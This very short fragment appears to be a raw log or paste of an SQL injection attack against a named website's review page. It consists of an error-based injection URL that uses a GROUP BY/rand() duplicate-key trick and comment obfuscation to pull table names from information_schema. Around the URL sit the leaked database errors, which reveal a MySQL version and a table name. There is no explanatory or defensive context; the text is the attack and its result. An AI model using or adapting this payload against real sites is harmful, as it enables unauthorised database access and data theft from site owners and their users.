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Duplicate entry '5.1.56:' for key 'group_key'

http://www.avmaniacs.com/review.php?id=319+and(select+1+from(select+count(*),/*!concat*/((select+table_name+from+information_schema./**/tables+limit+0,1),floor(rand(0)*2))x+from+information_schema./**/tables+group+by+x)a)--+f

Duplicate entry 'CHARACTER_SETS1' for key 'group_key'